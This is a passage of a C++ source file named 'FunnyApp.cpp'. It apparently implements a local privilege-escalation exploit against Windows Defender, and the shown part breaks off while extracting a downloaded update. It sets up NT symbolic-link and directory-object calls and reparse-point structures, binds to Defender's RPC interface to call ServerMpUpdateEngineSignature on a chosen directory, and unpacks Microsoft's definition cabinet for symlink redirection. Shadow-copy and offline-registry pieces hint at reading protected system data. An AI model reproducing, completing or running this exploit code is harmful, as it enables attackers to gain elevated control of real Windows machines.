FunnyApp.cpp 90 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <iostream>
  3. #include <Windows.h>
  4. #include <Lmcons.h>
  5. #include <wininet.h>
  6. #include <string.h>
  7. #include <fdi.h>
  8. #include <fcntl.h>
  9. #include <winternl.h>
  10. #include <conio.h>
  11. #include <Shlwapi.h>
  12. #include <ktmw32.h>
  13. #include <wuapi.h>
  14. #include <ntstatus.h>
  15. #include <cfapi.h>
  16. #include <aclapi.h>
  17. #include "windefend_h.h"
  18. /*
  19. #include <openssl/ssl.h>
  20. #include <openssl/err.h>
  21. #include <openssl/aes.h>
  22. #include <openssl/evp.h>
  23. #include <openssl/sha.h>
  24. #include <openssl/provider.h>
  25. #include <openssl/hmac.h>
  26. */
  27. #include "offreg.h"
  28. #define _NTDEF_
  29. #include <ntsecapi.h>
  30. #include <sddl.h>
  31. #pragma comment(lib, "wininet.lib")
  32. #pragma comment(lib, "ktmw32.lib")
  33. #pragma comment(lib, "Shlwapi.lib")
  34. #pragma comment(lib, "Rpcrt4.lib")
  35. #pragma comment(lib, "ntdll.lib")
  36. #pragma comment(lib, "Cabinet.lib")
  37. #pragma comment(lib, "Wuguid.lib")
  38. #pragma comment(lib,"CldApi.lib")
  39. /// NT routines and definitions
  40. HMODULE hm = GetModuleHandle(L"ntdll.dll");
  41. NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
  42. OUT PHANDLE pHandle,
  43. IN ACCESS_MASK DesiredAccess,
  44. IN POBJECT_ATTRIBUTES ObjectAttributes,
  45. IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
  46. OUT PHANDLE pHandle,
  47. IN ACCESS_MASK DesiredAccess,
  48. IN POBJECT_ATTRIBUTES ObjectAttributes,
  49. IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
  50. NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
  51. PHANDLE DirectoryHandle,
  52. ACCESS_MASK DesiredAccess,
  53. POBJECT_ATTRIBUTES ObjectAttributes
  54. ) = (NTSTATUS(WINAPI*)(
  55. PHANDLE DirectoryHandle,
  56. ACCESS_MASK DesiredAccess,
  57. POBJECT_ATTRIBUTES ObjectAttributes
  58. ))GetProcAddress(hm, "NtOpenDirectoryObject");;
  59. NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
  60. HANDLE DirectoryHandle,
  61. PVOID Buffer,
  62. ULONG Length,
  63. BOOLEAN ReturnSingleEntry,
  64. BOOLEAN RestartScan,
  65. PULONG Context,
  66. PULONG ReturnLength
  67. ) = (NTSTATUS(WINAPI*)(
  68. HANDLE DirectoryHandle,
  69. PVOID Buffer,
  70. ULONG Length,
  71. BOOLEAN ReturnSingleEntry,
  72. BOOLEAN RestartScan,
  73. PULONG Context,
  74. PULONG ReturnLength
  75. ))GetProcAddress(hm, "NtQueryDirectoryObject");
  76. NTSTATUS(WINAPI* _NtSetInformationFile)(
  77. HANDLE FileHandle,
  78. PIO_STATUS_BLOCK IoStatusBlock,
  79. PVOID FileInformation,
  80. ULONG Length,
  81. FILE_INFORMATION_CLASS FileInformationClass
  82. ) = (NTSTATUS(WINAPI*)(
  83. HANDLE FileHandle,
  84. PIO_STATUS_BLOCK IoStatusBlock,
  85. PVOID FileInformation,
  86. ULONG Length,
  87. FILE_INFORMATION_CLASS FileInformationClass
  88. ))GetProcAddress(hm, "NtSetInformationFile");
  89. NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
  90. OUT PHANDLE DirectoryHandle,
  91. IN ACCESS_MASK DesiredAccess,
  92. IN POBJECT_ATTRIBUTES ObjectAttributes,
  93. IN HANDLE ShadowDirectoryHandle,
  94. IN ULONG Flags) =
  95. (NTSTATUS(WINAPI*)(
  96. OUT PHANDLE DirectoryHandle,
  97. IN ACCESS_MASK DesiredAccess,
  98. IN POBJECT_ATTRIBUTES ObjectAttributes,
  99. IN HANDLE ShadowDirectoryHandle,
  100. IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx");
  101. #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
  102. typedef struct _FILE_DISPOSITION_INFORMATION_EX {
  103. ULONG Flags;
  104. } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
  105. typedef struct _OBJECT_DIRECTORY_INFORMATION {
  106. UNICODE_STRING Name;
  107. UNICODE_STRING TypeName;
  108. } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
  109. typedef struct _REPARSE_DATA_BUFFER {
  110. ULONG ReparseTag;
  111. USHORT ReparseDataLength;
  112. USHORT Reserved;
  113. union {
  114. struct {
  115. USHORT SubstituteNameOffset;
  116. USHORT SubstituteNameLength;
  117. USHORT PrintNameOffset;
  118. USHORT PrintNameLength;
  119. ULONG Flags;
  120. WCHAR PathBuffer[1];
  121. } SymbolicLinkReparseBuffer;
  122. struct {
  123. USHORT SubstituteNameOffset;
  124. USHORT SubstituteNameLength;
  125. USHORT PrintNameOffset;
  126. USHORT PrintNameLength;
  127. WCHAR PathBuffer[1];
  128. } MountPointReparseBuffer;
  129. struct {
  130. UCHAR DataBuffer[1];
  131. } GenericReparseBuffer;
  132. } DUMMYUNIONNAME;
  133. } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
  134. #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
  135. //////////////// NT DEF END
  136. // definitions of structures used by threads that invoke WD RPC calls
  137. struct WDRPCWorkerThreadArgs
  138. {
  139. HANDLE hntfythread;
  140. HANDLE hevent;
  141. RPC_STATUS res;
  142. wchar_t* dirpath;
  143. };
  144. typedef struct tagMPCOMPONENT_VERSION {
  145. ULONGLONG Version;
  146. ULARGE_INTEGER UpdateTime;
  147. } MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;
  148. typedef struct tagMPVERSION_INFO {
  149. MPCOMPONENT_VERSION Product;
  150. MPCOMPONENT_VERSION Service;
  151. MPCOMPONENT_VERSION FileSystemFilter;
  152. MPCOMPONENT_VERSION Engine;
  153. MPCOMPONENT_VERSION ASSignature;
  154. MPCOMPONENT_VERSION AVSignature;
  155. MPCOMPONENT_VERSION NISEngine;
  156. MPCOMPONENT_VERSION NISSignature;
  157. MPCOMPONENT_VERSION Reserved[4];
  158. } MPVERSION_INFO, * PMPVERSION_INFO;
  159. typedef union Version {
  160. struct {
  161. WORD major;
  162. WORD minor;
  163. WORD build;
  164. WORD revision;
  165. };
  166. ULONGLONG QuadPart;
  167. };
  168. //////////////////
  169. // structures and global vars used by definition update functions
  170. void* cabbuff2 = NULL;
  171. DWORD cabbuffsz = 0;
  172. struct CabOpArguments {
  173. ULONG index;
  174. char* filename;
  175. size_t ptroffset;
  176. char* buff;
  177. DWORD FileSize;
  178. CabOpArguments* first;
  179. CabOpArguments* next;
  180. };
  181. struct UpdateFiles {
  182. char filename[MAX_PATH];
  183. void* filebuff;
  184. DWORD filesz;
  185. bool filecreated;
  186. HANDLE hsymlink;
  187. UpdateFiles* next;
  188. };
  189. ///////////////////////////////////////
  190. // structures and global vars used by volume shadow copy functions
  191. struct cldcallbackctx {
  192. HANDLE hnotifywdaccess;
  193. HANDLE hnotifylockcreated;
  194. wchar_t filename[MAX_PATH];
  195. };
  196. struct LLShadowVolumeNames
  197. {
  198. wchar_t* name;
  199. LLShadowVolumeNames* next;
  200. };
  201. struct cloudworkerthreadargs {
  202. HANDLE hlock;
  203. HANDLE hcleanupevent;
  204. HANDLE hvssready;
  205. };
  206. ///////////////////////////////////////
  207. //////////////////////////////////////////////////////////////////////
  208. // Functions required by RPC
  209. /////////////////////////////////////////////////////////////////////
  210. void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
  211. {
  212. return((void __RPC_FAR*) malloc(cBytes));
  213. }
  214. void __RPC_USER midl_user_free(void __RPC_FAR* p)
  215. {
  216. free(p);
  217. }
  218. //////////////////////////////////////////////////////////////////////
  219. // Functions required by RPC end
  220. /////////////////////////////////////////////////////////////////////
  221. //////////////////////////////////////////////////////////////////////
  222. // WD RPC functions
  223. /////////////////////////////////////////////////////////////////////
  224. void ThrowFunc()
  225. {
  226. throw 0;
  227. }
  228. void RaiseExceptionInThread(HANDLE hthread)
  229. {
  230. CONTEXT ctx = { 0 };
  231. ctx.ContextFlags = CONTEXT_FULL;
  232. SuspendThread(hthread);
  233. if (GetThreadContext(hthread, &ctx))
  234. {
  235. ctx.Rip = (DWORD64)ThrowFunc;
  236. SetThreadContext(hthread, &ctx);
  237. ResumeThread(hthread);
  238. }
  239. }
  240. void CallWD(WDRPCWorkerThreadArgs* args)
  241. {
  242. RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
  243. RPC_WSTR StringBinding;
  244. if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
  245. {
  246. printf("Unexpected error while building an RPC binding from string !!!");
  247. RaiseExceptionInThread(args->hntfythread);
  248. return;
  249. }
  250. RPC_BINDING_HANDLE bindhandle = 0;
  251. if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
  252. {
  253. printf("Failed to connect to windows defender RPC port !!!");
  254. RaiseExceptionInThread(args->hntfythread);
  255. return;
  256. }
  257. error_status_t errstat = 0;
  258. printf("Calling ServerMpUpdateEngineSignature...\n");
  259. //_getch();
  260. RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
  261. args->res = stat;
  262. if (args->hevent)
  263. SetEvent(args->hevent);
  264. }
  265. DWORD WINAPI WDCallerThread(void* args)
  266. {
  267. if (!args)
  268. return ERROR_BAD_ARGUMENTS;
  269. CallWD((WDRPCWorkerThreadArgs*)args);
  270. return ERROR_SUCCESS;
  271. }
  272. //////////////////////////////////////////////////////////////////////
  273. // WD RPC functions end
  274. /////////////////////////////////////////////////////////////////////
  275. //////////////////////////////////////////////////////////////////////
  276. // WD definition update functions
  277. /////////////////////////////////////////////////////////////////////
  278. CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
  279. {
  280. CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
  281. ZeroMemory(cbps, sizeof(CabOpArguments));
  282. cbps->buff = (char*)cabbuff2;
  283. cbps->FileSize = cabbuffsz;
  284. return cbps;
  285. }
  286. INT CUST_FNSEEK(HANDLE hf,
  287. long offset,
  288. int origin)
  289. {
  290. if (hf)
  291. {
  292. CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
  293. if (origin == SEEK_SET)
  294. CabOpArgs->ptroffset = offset;
  295. if (origin == SEEK_CUR)
  296. CabOpArgs->ptroffset += offset;
  297. if (origin == SEEK_END)
  298. CabOpArgs->ptroffset += CabOpArgs->FileSize;
  299. return CabOpArgs->ptroffset;
  300. }
  301. return -1;
  302. }
  303. UINT CUST_FNREAD(CabOpArguments* hf,
  304. void* const buffer,
  305. unsigned const buffer_size)
  306. {
  307. if (hf)
  308. {
  309. CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
  310. if (CabOpArgs->buff)
  311. {
  312. memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
  313. CabOpArgs->ptroffset += buffer_size;
  314. //CabOpArgs->ReadBytes += buffer_size;
  315. return buffer_size;
  316. }
  317. }
  318. return NULL;
  319. }
  320. UINT CUST_FNWRITE(CabOpArguments* hf,
  321. const void* buffer,
  322. unsigned int count)
  323. {
  324. if (hf)
  325. {
  326. if (hf->buff) {
  327. memmove(&hf->buff[hf->ptroffset], buffer, count);
  328. hf->ptroffset += count;
  329. return count;
  330. }
  331. }
  332. return NULL;
  333. }
  334. INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
  335. {
  336. free(fnFileClose);
  337. return 0;
  338. }
  339. VOID* CUST_FNALLOC(size_t cb)
  340. {
  341. return malloc(cb);
  342. }
  343. VOID CUST_FNFREE(void* buff)
  344. {
  345. free(buff);
  346. }
  347. INT_PTR CUST_FNFDINOTIFY(
  348. FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin
  349. ) {
  350. //printf("_FNFDINOTIFY : %d\n", fdinotify);
  351. wchar_t newfile[MAX_PATH] = { 0 };
  352. wchar_t filename[MAX_PATH] = { 0 };
  353. HANDLE hfile = NULL;
  354. ULONG rethandle = 0;
  355. CabOpArguments** ptr = NULL;
  356. CabOpArguments* lcab = NULL;
  357. switch (fdinotify)
  358. {
  359. case fdintCOPY_FILE:
  360. if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
  361. return NULL;
  362. ptr = (CabOpArguments**)pfdin->pv;
  363. lcab = *ptr;
  364. if (lcab == NULL) {
  365. lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
  366. ZeroMemory(lcab, sizeof(CabOpArguments));
  367. lcab->first = lcab;
  368. lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
  369. ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
  370. memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
  371. lcab->FileSize = pfdin->cb;
  372. lcab->buff = (char*)malloc(lcab->FileSize);
  373. ZeroMemory(lcab->buff, lcab->FileSize);
  374. }
  375. else
  376. {
  377. lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
  378. ZeroMemory(lcab->next, sizeof(CabOpArguments));
  379. lcab->next->first = lcab->first;
  380. lcab = lcab->next;
  381. lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
  382. ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
  383. memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
  384. lcab->FileSize = pfdin->cb;
  385. lcab->buff = (char*)malloc(lcab->FileSize);
  386. ZeroMemory(lcab->buff, lcab->FileSize);
  387. }
  388. lcab->first->index++;
  389. *ptr = lcab;
  390. return (INT_PTR)lcab;
  391. break;
  392. case fdintCLOSE_FILE_INFO:
  393. return TRUE;
  394. break;
  395. default:
  396. return 0;
  397. }
  398. return 0;
  399. }
  400. void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
  401. {
  402. if (cbRawData < sizeof(IMAGE_DOS_HEADER))
  403. {
  404. return 0;
  405. }
  406. if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
  407. {
  408. return 0;
  409. }
  410. ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);
  411. if (e_lfanew >= s || s > cbRawData)
  412. {
  413. return 0;
  414. }
  415. PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);
  416. if (pinth->Signature != IMAGE_NT_SIGNATURE)
  417. {
  418. return 0;
  419. }
  420. ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
  421. s = e_lfanew + SizeOfHeaders;
  422. if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
  423. {
  424. return 0;
  425. }
  426. s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;
  427. if (s > SizeOfHeaders)
  428. {
  429. return 0;
  430. }
  431. ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;
  432. PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);
  433. ULONG Size;
  434. if (NumberOfSections)
  435. {
  436. if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
  437. {
  438. return 0;
  439. }
  440. do
  441. {
  442. if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
  443. {
  444. union {
  445. ULONG VirtualAddress, PointerToRawData;
  446. };
  447. VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;
  448. if (VirtualAddress > s || s > SizeOfImage)
  449. {
  450. return 0;
  451. }
  452. PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;
  453. if (PointerToRawData > s || s > cbRawData)
  454. {
  455. return 0;
  456. }
  457. char rsrc[] = ".rsrc";
  458. if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
  459. {
  460. typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
  461. DWORD Characteristics;
  462. DWORD TimeDateStamp;
  463. WORD MajorVersion;
  464. WORD MinorVersion;
  465. WORD NumberOfNamedEntries;
  466. WORD NumberOfIdEntries;
  467. IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
  468. } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;
  469. PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);
  470. PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
  471. PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
  472. PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;
  473. while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
  474. {
  475. pirde = &pird->DirectoryEntries[0];
  476. if (!pirde->DataIsDirectory)
  477. {
  478. pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
  479. pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
  480. void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
  481. if (cabsz)
  482. *cabsz = pdata->Size;
  483. return cabfile;
  484. }
  485. pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
  486. }
  487. break;
  488. }
  489. }
  490. } while (pish++, --NumberOfSections);
  491. }
  492. return NULL;
  493. }
  494. UpdateFiles* GetUpdateFiles(int* filecount = NULL)
  495. {
  496. HINTERNET hint = NULL;
  497. HINTERNET hint2 = NULL;
  498. char data[0x1000] = { 0 };
  499. DWORD index = 0;
  500. DWORD sz = sizeof(data);
  501. bool res2 = 0;
  502. wchar_t filesz[50] = { 0 };
  503. LARGE_INTEGER li = { 0 };
  504. GUID uid = { 0 };
  505. RPC_WSTR wuid = { 0 };
  506. wchar_t* wuid2 = 0;
  507. wchar_t envstr[MAX_PATH] = { 0 };
  508. wchar_t mpampath[MAX_PATH] = { 0 };
  509. HANDLE hmpap = NULL;
  510. void* exebuff = NULL;
  511. DWORD readsz = 0;
  512. HANDLE hmapping = NULL;
  513. void* mappedbuff = NULL;
  514. HRSRC hres = NULL;
  515. DWORD ressz = NULL;
  516. HGLOBAL cabbuff = NULL;
  517. char fname[] = "update.cab";
  518. ERF erfstruct = { 0 };
  519. HFDI hcabctx = NULL;
  520. bool extractres = false;
  521. DWORD totalsz = 0;
  522. HANDLE hmpeng = NULL;
  523. CabOpArguments* CabOpArgs = NULL;
  524. CabOpArguments* mpenginedata = NULL;
  525. void* dllview = NULL;
  526. char** filesmtrx = 0;
  527. UpdateFiles* firstupdt = NULL;
  528. UpdateFiles* current = NULL;
  529. DWORD nbytes = 0;
  530. printf("Downloading updates...\n");
  531. hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
  532. if (!hint)
  533. {
  534. printf("Failed to open internet, error : %d", GetLastError());
  535. goto cleanup;
  536. }
  537. hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
  538. //InternetCloseHandle(hint);
  539. if (!hint2)
  540. {
  541. printf("Failed to open internet URL, error : %d", GetLastError());
  542. goto cleanup;
  543. }
  544. res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
  545. if (!res2)
  546. {
  547. printf("Failed to query update size, error : %d", GetLastError());
  548. goto cleanup;
  549. }
  550. wcscpy(filesz, (LPWSTR)data);
  551. sz = _wtoi(filesz);
  552. li.QuadPart = sz;
  553. exebuff = malloc(sz);
  554. if (!exebuff)
  555. {
  556. printf("Failed to allocate memory to download file !!!");
  557. goto cleanup;
  558. }
  559. ZeroMemory(exebuff, sz);
  560. if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
  561. {
  562. printf("Failed to download update from internet, error : %d", GetLastError());
  563. goto cleanup;
  564. }
  565. InternetCloseHandle(hint);
  566. hint = NULL;
  567. InternetCloseHandle(hint2);
  568. hint = NULL;
  569. printf("Done.\n");
  570. mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);
  571. if (!mappedbuff)
  572. {
  573. printf("Failed to retrieve cabinet file from downloaded file.\n");
  574. goto cleanup;
  575. }
  576. printf("Cabinet file mapped at 0x%p\n", mappedbuff);
  577. cabbuff2 = mappedbuff;
  578. cabbuffsz = ressz;
  579. printf("Extracting cab file content...\n");
